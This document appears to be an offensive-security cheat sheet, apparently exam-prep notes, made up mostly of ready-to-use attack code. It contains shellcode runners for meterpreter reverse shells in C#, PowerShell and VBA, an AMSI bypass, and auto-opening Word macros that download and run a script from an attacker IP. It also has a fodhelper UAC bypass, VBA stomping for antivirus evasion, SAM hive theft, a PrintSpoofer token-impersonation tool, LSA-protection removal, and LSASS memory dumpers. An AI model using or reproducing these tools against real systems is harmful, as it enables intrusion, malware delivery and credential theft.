private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx
byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};
for(int i = 0; iCsharp
If compiled for x64 remember to set architecture to x64 in visual studios.


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp
byte[] buf = new byte[630] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
// ... (other bytes)
0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}Powershell
Ver 1 - Ported from Csharp to Powershell
run.txt
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public
class Kernel32 {
[DllImport("kernel32")] public static extern IntPtr VirtualAlloc(
IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet = CharSet.Ansi)] public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,
IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)] public static extern UInt32
WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
Add-Type $Kernel32
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")Ver 2
run.txt
# Compact AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)
# Shellcode loader >:]
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
# Allocate executable memory
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
# Copy shellcode to allocated memory
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
# Execute shellcode and wait for it to exit
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),
(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),
(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)Trigger from Word Macro
# Trigger from Word Macro
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End SubVBA
Create a macro in Word (See cheatsheet I) and insert code.
If Word is running in 64-bit the code below will need changes.
VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)
# For the code below to work in 64-bit Word.
# If you're still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I'm not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can't, so maybe it has to do with my not returning anything anymore.
Code:
Private Declare PtrSafe Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)
# Second, I changed the line calling RtlMoveMemory since it's not returning anything anymore.
Code:
Call RtlMoveMemory(addr + counter, data, 1)
# After making these changes it didn't error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.
Code:
Dim res As LongPtr
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
buf = Array(INSERT SHELLCODE HERE)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End SubUAC Bypass
https://book.ghanim.no/?p=2698#UAC_Bypass
Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefendDownload
Fodhelper.exe
$yourevilcommand = 'powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.45.198/run3.txt'')"'
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
------------------------
function RegStuff {
$cmd = "C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA"
copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
}
function PrivEsc {
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep -s 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue
}
RegStuffVBA Stomping
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.
- Tools:
Hex Editor: For inspecting contents of unzipped modern files
- FlexHEX: To inspect and edit the files
Steps to Perform VBA Stomping
- Inspect Shellcode Runner
Use custom tools to inspect existing shellcode runners.
- Understanding File Formats
Old Format: Compound File Binary Format.
- New Format: Similar to .zip files.
- Using FlexHEX
Open FlexHEX.
- Navigate to File > Open > OLE Compound File .
- Open the Word document to inspect it.
- Inspect Macro Information
For modern files, macros are stored in vbaProject.bin inside the zipped archive.
- Editing Macros
Edit the PROJECT file in the navigator window to remove links to macros, using Edit > Insert Zero Block .
- Understanding P-Code
P-Code: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.
- Usage: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.
- Performing VBA Stomping
Goal: Remove VBA source code while retaining P-code to bypass detection but still execute the code.
- How:
Open the document in FlexHEX.
- Locate the VBA source code in NewMacros .
- Select all bytes from “Attribute VB_Name” and remove it using Edit > Insert Zero Block .
- Save and re-compress the document.
- Testing
Open the edited document in Word.
- Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.
Automating VBA Stomping Using Evil Clippy
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.docEvil Clippy: MS Office maldoc assistant | Outflank
Usage Examples:
- Print help:
EvilClippy.exe -h
- Hide macros from GUI:
EvilClippy.exe -g macrofile.doc
- Unhide macros:
EvilClippy.exe -gg macrofile.doc
- Stomp VBA (abuse P-code):
EvilClippy.exe -s fakecode.vba macrofile.doc
- Set target Office version for VBA stomping:
EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc
- Set random module names:
EvilClippy.exe -r macrofile.doc
- Reset random module names:
EvilClippy.exe -rr macrofile.doc
- Serve a VBA stomped template via HTTP:
EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot
- Set Locked/Unviewable attributes:
EvilClippy.exe -u macrofile.doc
- Remove Locked/Unviewable attributes:
EvilClippy.exe -uu macrofile.doc
Windows Credentials
SAM database
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.
Shadow Volume Copy Workaround
Create a snapshot of the local hard drive using WMIC. Need to launch from an administrative command prompt:
C:\> wmic shadowcopy call create Volume='C:\'Verify shadow volume:
C:\> vssadmin list shadowsCopy SAM from shadow volume:
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam
Note: Run above command in cmd.exe , not in PowerShell.Encrypting SAM Database
SAM is encrypted by RC4 or AES. Encryption keys are in the SYSTEM file. Copy SYSTEM file:
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\systemSave SAM and SYSTEM from Registry
Using reg save command:
C:\> reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam
C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\systemRead SAM, SYSTEM and SECURITY
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
# Or using creddump
https://github.com/Neohapsis/creddump7
python pwdump.py /home/kali/system /home/kali/samAccess Tokens
- Access tokens track user's access rights after authentication.
- They are assigned to each process associated with the user.
- Access tokens are stored inside the kernel, preventing direct modification.
PrintSpoofer.exe
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.
GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"
- SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or
handle.
- We will use SpoolSample.exe to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.
- We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
namespace PrintSpoofer
{
public class Program
{
public static uint PIPE_ACCESS_DUPLEX = 0x3;
public static uint PIPE_TYPE_BYTE = 0x0;
public static uint PIPE_WAIT = 0x0;
public static uint TOKEN_ALL_ACCESS = 0xF01FF;
public static uint TOKENUSER = 1;
public static uint SECURITY_IMPERSONATION = 2;
public static uint TOKEN_PRIMARY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public enum CreationFlags
{
DefaultErrorMode = 0x04000000,
NewConsole = 0x00000010,
NewProcessGroup = 0x00000200,
SeparateWOWVDM = 0x00000800,
Suspended = 0x00000004,
UnicodeEnvironment = 0x00000400,
ExtendedStartupInfoPresent = 0x00080000
}
public enum LogonFlags
{
WithProfile = 1,
NetCredentialsOnly
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);
[DllImport("kernel32.dll")]
static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);
[DllImport("Advapi32.dll")]
static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentThread();
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool RevertToSelf();
[DllImport("kernel32.dll")]
static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);
[DllImport("userenv.dll", SetLastError = true)]
static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
public static void Main(string[] args)
{
// Parse arguments (pipe name)
if (args.Length != 2)
{
Console.WriteLine("Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe");
return;
}
string pipeName = args[0];
string binToRun = args[1];
// Create our named pipe
IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);
// Connect to our named pipe and wait for another client to connect
Console.WriteLine("Waiting for client to connect to named pipe...");
bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);
// Impersonate the token of the incoming connection
result = ImpersonateNamedPipeClient(hPipe);
// Open a handle on the impersonated token
IntPtr tokenHandle;
result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);
// Duplicate the stolen token
IntPtr sysToken = IntPtr.Zero;
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);
// Create an environment block for the non-interactive session
IntPtr env = IntPtr.Zero;
bool res = CreateEnvironmentBlock(out env, sysToken, false);
// Get the impersonated identity and revert to self to ensure we have impersonation privs
String name = WindowsIdentity.GetCurrent().Name;
Console.WriteLine($"Impersonated user is: {name}.");
RevertToSelf();
// Get the system directory
StringBuilder sbSystemDir = new StringBuilder(256);
uint res1 = GetSystemDirectory(sbSystemDir, 256);
// Spawn a new process with the duplicated token, a desktop session, and the created profile
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
sInfo.cb = Marshal.SizeOf(sInfo);
sInfo.lpDesktop = "WinSta0\\Default";
CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);
Console.WriteLine($"Executed '{binToRun}' with impersonated token!");
}
}
}Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell
- Transfer to target.
Step 2 - Start the PrintSpoofer.exe
- Specify the meterpreter binary
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exeStep 3 - Coerce Windows to authenticate
- Use SpoolSample.exe to authenticate.
- When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.
- If
SpoolSampleis provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.
SpoolSample.exe appsrv01 appsrv01/pipe/testStep 4 - bin.exe executed in the context of impersonated token


Using Meterpreter to impersonate users
- Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.
Steps:
- Load Incognito Extension:
meterpreter > load incognito- Display Available Commands:
meterpreter > help incognitoKey Commands:
-
add_group_user: Add a user to a global group with all tokens.
-
add_localgroup_user : Add a user to a local group with all tokens.
-
add_user : Add a user with all tokens.
-
impersonate_token : Impersonate a specified token.
-
list_tokens : List tokens available under the current user context.
-
snarf_hashes : Capture challenge/response hashes for every token.
- List Unique User Tokens:
meterpreter > list_tokens -uOutput:
- Delegation Tokens (e.g., corp1\admin , NT AUTHORITY\SYSTEM , etc.)
- Impersonation Tokens (e.g., NT AUTHORITY\ANONYMOUS LOGON )
- Impersonate a User Token:
- Use the impersonate_token command to impersonate a user through the Win32 ImpersonateLoggedOnUser API.
meterpreter > impersonate_token corp1\\admin- Verify Impersonation:
meterpreter > getuidKerberos
- Domain Controller (DC): Acts as a Key Distribution Center (KDC).
- Authentication Server: Service run by the DC.
- Ticket Granting Ticket (TGT): Contains user info, domain, timestamp, client IP, and session key.
- Service Principal Name (SPN): Identifier for each instance of a service.
Disable LSA protection and dump cached creds
Download mimidrv 32bit or 64bit here OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)
- Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.
- Local Security Authority (LSA) Protection: Protects the LSASS memory space where password hashes are cached.
- Protected Processes Light (PPL): Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.
- LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.
# 1. Enable SeDebugPrivilege:
mimikatz # privilege::debug
# 2. Manually load the driver with the sc.exe Service Control application.
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand
sc start mimidrv
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.
mimikatz # !+
# 4. Disable LSA Protection for LSASS:
mimikatz # !processprotect /process:lsass.exe /remove
# 5. Dump Credentials After Disabling LSA Protection:
mimikatz # sekurlsa::logonpasswordsUsing PPLKiller
Tool to bypass LSA Protection (aka Protected Process Light)
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe
2. You'll always want to run PPLKiller.exe /installDriver first to install the driver
3. Run an attack like PPLKiller.exe /disableLSAProtection
4. Cleanup with PPLKiller.exe /uninstallDriverMemory Dump with Mimikatz
- Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.
- Mimikatz can be used to parse these dumps and extract the desired information.
- Using Task Manager:
Right-click the task bar and select Task Manager.
- Navigate to the Details tab.
- Locate the lsass.exe process.
- Right-click it and choose "Create dump file".
- Note the location of the dump file from the popup.

- Ensure Compatibility:
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.
- Load and Parse the Dump:
C:\Tools\Mimikatz> mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords- Creating a dump using Task Manager requires GUI access to the target machine.
- While parsing the dump file with Mimikatz, there's no need for an elevated command prompt or the privilege::debug command.
- The technique does not require the presence of Mimikatz on the target machine.
MiniDump
- Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.
- Task Manager and ProcDump, when creating a dump file, utilize the Win32
MiniDumpWriteDumpAPI.
- The goal is to create a C# application that replicates this functionality by invoking the same API.
- This will probably avoid detection, since mimikatz is so well known and will trigger every signature.
- Execute the application from an elevated command prompt to avoid OpenProcess failure.
C# version
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
namespace MiniDump
{
public class Program
{
static int MiniDumpWithFullMemory = 2;
static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;
[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
public static void Main(string[] args)
{
// Get the PID of lsass.exe
Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;
Console.WriteLine($"Got lsass.exe PID: {lsass_pid}.");
// Get a handle on LSASS
IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);
Console.WriteLine($"Got a handle on lsass.exe: {handle}.");
// Dump LSASS process to file
string filePath = "C:\\Windows\\tasks\\lsass.dmp";
FileStream dumpFile = new FileStream(filePath, FileMode.Create);
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (dumped)
{
Console.WriteLine($"Dumped LSASS memory to {filePath}.");
}
else
{
Console.WriteLine($"Error dumping LSASS memory: {Marshal.GetLastWin32Error()}");
}
}
}
}Powershell Version
# Bypass AMSI because we're cool
# Change this if the bypass dont work
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true)
# Utility functions
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
# Add dbghelp.dll and reflectively load the function while we're at it
# (somehow dbghelp.dll doesn't play nice with LookupFunc)
$MethodDefinition = @'
[DllImport("DbgHelp.dll", CharSet = CharSet.Unicode)]
public static extern bool MiniDumpWriteDump(
IntPtr hProcess,
uint processId,
IntPtr hFile,
uint dumpType,
IntPtr expParam,
IntPtr userStreamParam,
IntPtr callbackParam
);
'@
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name 'dbghelp' -Namespace 'Win32' -PassThru
# Get LSASS PID
$lsassPid = Get-Process lsass | select -ExpandProperty Id
Write-Host("Got lsass.exe PID: $lsassPid.")
# Get a handle on LSASS
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
(getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)
Write-Host("Got handle on LSASS: $handle.")
# Dump process memory to file
$filePath = "C:\Windows\Tasks\lsass.dmp"
$dumpFile = New-Object IO.FileStream $filePath,'Create','Write','Read'
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)
$dumpFile.Close()
if($result) {
Write-Host("Dumped LSASS memory to $filePath.")
}else {
Write-Host("Error dumping LSASS memory.")
}